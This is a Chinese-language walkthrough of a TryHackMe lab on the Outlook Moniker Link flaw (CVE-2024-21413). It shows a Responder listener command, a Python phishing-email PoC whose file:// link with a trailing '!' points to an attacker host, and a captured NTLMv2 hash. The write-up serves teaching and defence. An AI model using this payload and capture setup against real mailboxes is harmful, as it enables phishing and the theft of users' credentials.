TryHackMe Moniker Link (CVE-2024-21413) 演练:绕过 Outlook 受保护的视图,进而通过精心构造的 moniker 链接捕获 NTLMv2 哈希。
TryHackMe 的“Moniker Link”房间 的完整演练:将 2024 年 Microsoft Outlook 漏洞 CVE-2024-21413 武器化,在受害者点击钓鱼邮件中链接的瞬间窃取其 NTLMv2 哈希——不需要宏、不需要附件,也没有明显的安全警告。
CVE-2024-21413(“Moniker Link”)是 Outlook 验证使用 Windows OLE“moniker”语法的 file:// 链接时存在的一个漏洞(路径末尾多出一个 !,例如 file://host/share!something)。Outlook 本应通过受保护的视图(Protected View)打开外部文件链接,该视图会将文件放入沙箱,并在任何凭据泄露之前警告用户。多出的 ! 恰好足以破坏 Outlook 自身的 URL 解析器,使其完全跳过 Protected View,并将链接直接交给 Windows;由于该链接看起来像 UNC 路径,Windows 会静默尝试向攻击者的服务器进行 SMB 身份验证。这次身份验证尝试会在受害者仅仅点击了一个看似正常的链接、而除此之外什么都没做的情况下,就泄露其 NTLMv2 哈希。
| 任务 | 目标 |
|---|---|
| 1. 侦察 | 理解该 CVE,以及 moniker 链接解析漏洞如何绕过 Protected View |
| 2. 设置监听器 | 启动 Responder,捕获外发的 SMB 身份验证 |
| 3. 武器化 | 构造一封包含恶意 moniker 链接的钓鱼邮件 |
| 4. 投递 | 将邮件发送到受害者邮箱 |
| 5. 捕获 | 让受害者点击链接并捕获其 NTLMv2 哈希 |
responder -I ens5
在发送任何内容之前,先在攻击机的接口上启动 Responder,并启用 LLMNR、NBT-NS 和 DNS 欺骗。真正捕获凭据泄露的就是这个过程:一旦漏洞利用诱使 Outlook 尝试向攻击者 IP 进行 SMB 身份验证,Responder 就会在另一端监听并截获它。

目标是一个标准 Outlook 邮箱 [email protected],在钓鱼邮件到达前处于正常的收件箱视图——这是本房间其余步骤所基于的基线。

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
该漏洞利用(CMNatic 公开的 CVE-2024-21413 PoC)是一个小型的 Python 脚本,通过 SMTP 构造并发送 HTML 邮件。有效载荷完全在一行之内:一个指向攻击者机器的 <a href="file://..."> 链接,路径末尾附加了 !exploit。这个尾部的 ! 就是整个漏洞所在——它恰好让 Outlook 的链接解析器错误分类该 URL,并跳过它对外部文件链接通常会执行的受保护视图检查。

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
运行该脚本会向邮件服务器进行身份验证,并将构造好的邮件发送给受害者。Email delivered 确认它已成功离开攻击者的邮箱。

邮件到达 [email protected] 的收件箱,发件人为 CMNatic,主题为 CVE-2024-21413,其中只有一个显示为“Click me”的超链接——没有附件、没有宏警告,也没有任何通常会令钓鱼过滤器或谨慎用户起疑的内容。

点击“Click me”会触发 Outlook 的 Windows 资源管理器错误对话框:“We can't find '\10.113.72.84\test!exploit'. Please make sure you're using the correct location or web address.” 这个错误实际上证明漏洞利用已经成功——当该对话框出现时,Windows 已经尝试通过 SMB 解析该 UNC 路径,并在此过程中已向 10.113.72.84(攻击机)完成身份验证。可见的失败只是资源管理器未能找到一个从未打算存在的共享;凭据泄露在错误弹窗出现之前就已经悄然发生。

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
回到攻击机,Responder 已经捕获了来自 10.113.150.143(受害者)的、针对 THM-MONIKERLINK\tryhackme 的完整 NTLMv2-SSP 握手。没有凭据提示、没有安全警告,用户除了点击一个看似普通的链接外什么也没做——就在 Outlook 错误处理 moniker 链接的那一刻,这个哈希已经可以被破解或中继。

!)就是整个漏洞。 CVE-2024-21413 很好地提醒我们,URL/路径解析器是绕过安全边界的常见来源——畸形输入不需要多复杂就能溜过检查,它只需落入检查未覆盖的代码路径即可。file:// 链接捕获/中继 NTLM 是一种老技术;让这个 CVE 引人注意的是,Outlook 本不应在没有任何警告的情况下让链接触发。